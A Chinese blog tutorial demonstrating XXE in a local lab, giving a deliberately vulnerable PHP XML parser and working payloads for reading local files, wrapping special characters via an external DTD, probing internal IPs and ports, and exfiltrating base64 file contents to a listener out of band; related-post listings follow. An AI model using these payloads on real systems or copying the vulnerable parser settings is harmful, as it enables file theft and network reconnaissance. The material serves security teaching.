XXE漏洞演示

XXE漏洞原理和案例实验演示;ssrf漏洞原理和实验案例演示 一、XXE漏洞原理和案例实验演示 XXE(xml external entity -injection“) 1.XML xml是一种可扩展的标记语言,可用来存储数据、传输数据 XML格式: 第二部分:DTD DTD:Document Type Defintion 文档类型定义,用来为XML文档定义语义约束。来约束XML文档格式。DTD中不同类型: DTD外部实体举例: 外部引用可以支持htt... 阅读详情

环境:phpstudy+xml.php
无回显用到虚拟机kali
Xml.php代码如下:

<?php
    libxml_disable_entity_loader (false);    //这里相当于开启外部实体
    //若为true,则表示禁用外部实体
    $xmlfile = file_get_contents('php://input'); 
    //可以获取POST来的数据
    $dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//LIBXML_NOENT:将XML中的实体引用替换成对应的值
//LIBXML_DTDLOAD:加载DOCTYPE中的DTD文件
$creds = simplexml_import_dom($dom);
//获取DOM文档节点并转换为SimpleXML节点
    echo $creds;
?>

一.有回显
1.读取本地文件(不含有&,<,>,”,’等特殊字符)
<1>访问xml.php
在这里插入图片描述
<2>输入xxe
代码如下:

<?xml version=”1.0” encoding=”utf-8”?>
<!DOCTYPE creds [
<!ENTITY f SYSTEM “file:///c:/windows/system.ini”> ]>
<creds>&f;</creds>

得到如下结果:
在这里插入图片描述
发现成功读取本地文件
换个路径试试,发现都是可以成功的
在这里插入图片描述
2.读取本地文件(含有特殊字符)
通过第一种方法访问文件内容中含有特殊字符的文件会报错,
因为因此需要借助CDATA,CDATA中的所有字符都会被当作元素字符数据的常量部分,而不是xml标记
<1>访问xml.php
在这里插入图片描述
<2>写好外部实体evil.dtd
在这里插入图片描述
相关代码:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

<3>输入xxe
代码如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///E:/phpStudy/PHPTutorial/WWW/XXE/1.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://127.0.0.1:81/XXE/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>

得到如下结果:
在这里插入图片描述
发现成功读取有特殊字符的文件
3.内网ip探测
<1>访问xml.php
在这里插入图片描述
<2>输入xxe
代码如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.78.4"> ]>
<creds>&goodies;</creds>

得到如下结果:
在这里插入图片描述
红色圈表示该ip存在
在这里插入图片描述
乱码并且没有出现上面红圈说明该ip不存在(可以利用burp重放更便利)
也可以根据响应时间长短进行判断ip是否存在
4.内网端口探测
同3输入xxe
代码如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.78.4:80"> ]>
<creds>&goodies;</creds>

在这里插入图片描述
仍然可以根据3的两种判断方法进行判断端口是否开放,如果有报错,可以直接探测出banner信息
二.无回显
xml.php2代码如下:

<?php
    libxml_disable_entity_loader (false);
    //若为true,则表示禁用外部实体
    $xmlfile = file_get_contents('php://input');
    //可以获取POST来的数据
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

xml.php2是无回显的
因此我们需要使用外带数据通道提取数据,可以通过监听端口来显示
<1>访问xml2.php
在这里插入图片描述
<2>写好外部实体evil2.dtd
在这里插入图片描述
代码如下:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://10.0.78.29:9999?p=%file;'>">

<3>输入xxe
代码如下:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.78.4:81/XXE/evil2.dtd">
%remote;%int;%send;
]>

得到结果如下:
在这里插入图片描述
成功读取该文件

XXE漏洞原理、xxe-lab演示和防御 eXtensibleMarkupLanguage可扩展标记语言常用于从客户端向服务器提交数据。然后, 服务器端应用程序将处理这些数据,并且可能会返回一个包含XML或任何其他格式数据的响应。和HTML有一定的相像之处(部分语法不同),它还可以做配置文件、交换数据和图像格式等等。 阅读详情

相关推荐

别再为10G UDP发愁了!手把手教你用Xilinx 10G/25G Ethernet Subsystem IP核搭建FPGA网络栈(附12套工程源码)

本文详细介绍了基于Xilinx UltraScale架构的FPGA网络栈开发,重点讲解了10G/25G Ethernet Subsystem IP核的应用实践。通过手把手教程和12套工程源码,帮助开发者解决10G UDP通信中的物理层接口、协议栈实现和系统集成等核心挑战,实现高性能FPGA网络栈搭建。

weixin_42522575的博客 364

php8 函数 ‘libxml_disable_entity_loader‘ 已弃用 xml转数组

PHP-XML转数组,数组转XML

Champagne_7的博客 1922

人工智能训练师技能等级认定四级技能考核试卷-样题4

本文为人工智能训练师四级技能考核试卷,包含六个实操考核项目,总时长150分钟。考核内容涵盖:1)车牌数据集规范评估与格式处理;2)车牌数据集采集代码修改与数据处理;3)房价预测数据集加载、预处理与可视化分析;4)车牌标注数据集审核与修正;5)螺丝螺母检测数据集的平台创建与共享;6)螺丝螺母数据的去噪处理与标注优化。要求考生使用Python编程、数据处理平台和标注工具完成各项任务,重点考察数据加载、格式转换、缺失值处理、数据可视化、标注审核及平台操作等技能。所有操作需在配备Python3.7和深度学习平台的W

weixin_42221934的博客 349

php的libxml函数

打算给初学者分享下微信,从头看微信文档,解析xml时,出现了一个函数:libxml_disable_entity_loader(),没见过。。。 就决定简单的了解下,可查看我转载的文章: XML注入攻击 接着,看到libxml函数就几个,顺带简单的看看,就翻译了下(也不知道最近咋了,喜欢用我这很垃圾的英文翻译。。。): libxml函数库: 1.简介: PHP5

beyond__devil的博客 4647

ERA5数据驱动WRFV4.4实战:单层嵌套配置与关键报错排查指南

本文详细介绍了使用ERA5再分析数据驱动WRFV4.4模式进行单层嵌套模拟的完整实战流程。内容涵盖从数据精准下载、WPS前处理配置、WRF核心参数设置到高频报错的深度排查与解决方案,旨在帮助初学者在有限服务器资源下,高效完成WRF模拟并规避常见陷阱。

q5r6s7的博客 770

ENSP实验一:防火墙基础配置

配置client(内网)、FTP Server(外网)的IP地址。进入防火墙,输入密码:默认为admin@123。

Carohuan的博客 1万+

libxml_disable_entity_loader

禁用加载外部实体的能力

zq_dser的博客 1万+

鲁棒优化入门(一)——工具箱Xprog和RSOME的安装与使用

Xprog是由新加坡国立大学的Peng Xiong于2016年发布的一款matlab工具箱,可以用于求解确定性优化、随机优化、鲁棒优化和分布式鲁棒优化问题。 还有一个针对鲁棒随机优化设计的matlab工具箱——RSOME(Robust Stochastic Optimization Made Easy),也可以用来解决一般的线性规划、随机规划、鲁棒优化和数据驱动的分布式鲁棒优化问题。...............

配电网和matlab的博客 1万+

XXE(XML外部实体注入)详解

XXE漏洞 XXE(XML External Entity Injection)又称为“XML外部实体注入漏洞”。 当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。 XML简介 XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语言,很类似 HTM

一期一会的博客 5613

【STK】手把手教你利用STK进行进行光电红外仿真02-STK/EOIR模块属性之一 传感器选项设置

EOIR传感器可以从空间几何属性、光谱属性、光学属性、辐射属性四个方面进行设置,并且可以设置信号传播路径中的大气特性,包括大气模型、气溶胶模型、气象学可见性和大气湿度。在定义EOIR传感器时,需要Sensor——Definition属性页中,将Sensor Type设置为EOIR。单击下面的按钮打开传感器的EOIR配置页,可以对传感器的属性进行配置,此外,还可以在场景中视情况添加相关的中心体。路径辐射损耗影响上述特性的计算,计算的结果考虑了传感器、目标位置的影响,但是还没考虑地球临边背景的影响。

weixin_44184852的博客 3201

Python全栈入门到实战【基础篇 19】函数进阶:默认参数、递归函数与偏函数应用

本文深入探讨Python函数进阶的三大核心知识:默认参数、递归函数与偏函数。针对默认参数,揭示了可变对象作为默认值的陷阱,提出使用None替代的方案;解析递归函数的三大要素(终止条件、递归调用、问题拆解),并通过阶乘和斐波那契数列示例演示实现方法,同时给出尾递归和缓存装饰器两种优化策略;最后介绍偏函数如何通过functools.partial固化参数简化调用。这些技巧能显著提升函数在复杂场景下的灵活性与复用性,帮助开发者编写更高效的Python代码。

那些看似不起波澜的日复一日,会在某天让你看到坚持的意义 3864

34-XXE(XML外部实体注入)

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。3、文档结构XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。4、基本的PAYLOAD结构:5、使用DTD实体的攻击方式 :DTD 引用方式(简要了解):1. DTD 内部声明DOCTYPE 根元素 [元素声明]>2. DTD 外部引用。

XLbb的博客 1486

《中国电信运营商骨干网:历史、现状与未来演进》系列 第一篇:中国骨干网全景图:一级运营商与专用网络的演进

揭秘国家信息高速公路!一文读懂什么是骨干网,它如何支撑我们的数字生活,以及电信、联通、移动、广电等巨头如何构建这张“国家级动脉”。

maqh_csdn的博客 2037

XXE漏洞原理、演示与防御

目录: 前言 漏洞原理 Demo演示 如何发现XXE漏洞 XXE其他危害 案例-微信支付的XXE 修复建议 前言: 什么是XXE漏洞? XXE全称是——XML External Entity 简单来说,XXE就是XML外部实体注入。当应用程序允许引用外部实体时,通过构造恶意内容,就可以导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危...

dl71181的博客 1282

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

10-2xxe漏洞原理和案例实验演示

xml外部实体注入攻击 base on pikachuxml是可扩展的标记语言,它是可以用来存储数据的,看到一些.xml的配置文件,就是用xml来写的,还可以用来传输数据,我们可以直接以xml的格式,把数据给放到请求当中,发给服务器,就像,我们之前用post请求,发送数据一样,像json一样,传一组数据到后台服务端,服务端收到后,会对数据进行解析存储,然后处理等等 DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。 我们xml里面的标签

山兔的博客 775

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

风炫安全Web安全学习第四十一节课 XXE漏洞演示与讲解

风炫安全Web安全学习第四十一节课 XXE漏洞演示与讲解 XXE漏洞 0x01 基础知识 XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。 <?xml version="1.0"?> <

风炫的博客 299

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

XXE漏洞解析演示

一. 源码 1. 有回显有报错测试代码 <?php $xml=simplexml_load_string($_GET['xml']); // print_r($xml); echo $xml ?> 2. 无回显无报错测试代码 <?php $xml=@simplexml_load_string($_POST['xml']); ?> 二. 内部实体演示 // &有问题,必须对&进行编码才可以 <!DOCTYPE foo [<!ELEMENT fo

明哥哥知识分享 422

XXE漏洞解析(带代码演示+靶场实战)

XXE(XML External Entity)是一种安全漏洞,发生在应用程序解析XML输入时。攻击者可以通过该漏洞插入恶意的外部实体,从而获取系统文件或执行其他恶意操作。核心是我们输入的代码,会被当作xml代码执行XML(可扩展标记语言,Extensible Markup Language)是一种用于表示结构化信息的标记语言。它由W3C(万维网联盟)开发,用于存储和传输数据。XML的主要特点包括:1、自我描述:XML文档包含数据以及数据的结构信息,使用标签来标记数据。

wudideaqing的博客 2041

xxe漏洞原理和案例演示

原理: 演示: 打开pikachu,找到xxe,先看一下后台代码怎么写的, 咱们先通过一个正常的例子来测一下 <?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "ESHLkangi"> ]> <name>&hacker;</name> 输入显...

weixin_43534549的博客 537

xxe漏洞原理和案例实验演示

什么是xml? xml一般指可扩展标记语言 可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。 在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构...

北冥有鱼 1364

【pikachu渗透靶场&Web安全从入门到放弃】之 XXE漏洞原理和案例实验演示—— “叉叉易”

48.10-2 xxe漏洞原理和案例实验演示(Av96582332,P48) XXE( xml external entity injection" 第一部分: XML 声明 <?xml version="1.0"?> <! 第二部分:文档类型定义 DTD <!DOCTYPE note [ <! 定义此文档是 note 类...

algae 512

【web安全】——XXE漏洞快速入门

XXE漏洞很难不想学?带你快速入门!

Demo不是emo的博客 1万+

XXE-Lab 项目教程

XXE-Lab 是一个包含 PHP、Java、Python 和 C# 版本的 XXE 漏洞演示项目。以下是项目的目录结构及其介绍: ``` xxe-lab/ ├── Csharp_xxe/ │ └── ... ├── java_xxe/ │ └── ... ├── php_xxe/ │ └── ... ├── python_xxe/ │ └── ... ├── LICENSE ├

gitblog_00321的博客 363

XXE漏洞

0X00 什么是XXE XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。 0X01 XML XML文档结构包括XML声明、DTD文档类型定义和文档元素信息 ...

迷风小白 2964
上一篇: CobaltStrike之监听模块Listeners
下一篇: 隐藏通信隧道技术之icmpsh反弹shell(网络层ICMP隧道)
qieziwa(boy)
博客等级 码龄7年 5711粉丝 160原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值